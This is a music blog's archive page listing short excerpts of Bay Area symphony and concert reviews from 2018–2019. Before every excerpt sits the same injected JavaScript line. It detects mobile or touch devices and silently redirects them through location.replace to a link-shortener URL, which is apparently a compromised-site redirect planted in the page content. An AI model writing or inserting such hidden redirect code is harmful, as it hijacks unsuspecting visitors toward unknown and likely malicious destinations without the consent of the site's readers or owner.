music – Page 2 – Repeat Performances

February 8, 2019

Oakland Symphony – creating a future

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); On Friday, Feb. 8, the Paramount Theater was heavily attended for one of the top pianists of our age, Emanuel Ax, as he performed with the Oakland Symphony in an all-Beethoven...

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January 31, 2019

Berkeley Symphony – bold and satisfying

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); With a scant one week’s notice, guest conductor Joseph Young stepped in on January 31 for an ailing Jonathon Heyward, who was himself about to guest conduct the Berkeley...

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January 1, 2019

2018—Music to brighten a year

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Bay Area music made a strong showing in 2018. The arts are subtle but solid, a rock we can cling to despite a year when divisive voices and dire predictions roiled our...

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October 10, 2018

Sonic Harvest celebrates this October 14 in Berkeley

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); On October 14, Sonic Harvest will host its 18th annual concert of music, poetry, original compositions, and more. The concert, From Troubador to Tango, brings together...

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October 4, 2018

Berkeley Symphony opens the season with virtuosity

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Ming Luke nails an “audition” A sophisticated Berkeley audience stood to applaud conductor Ming Luke, violinist Benjamin Beilman and the Berkeley Symphony last...

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September 6, 2018

Gala at Davies

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); San Francisco Symphony knows how to party! Donors to the educational arm of the San Francisco Symphony were rewarded last Wednesday, September 6 with an extravagant...

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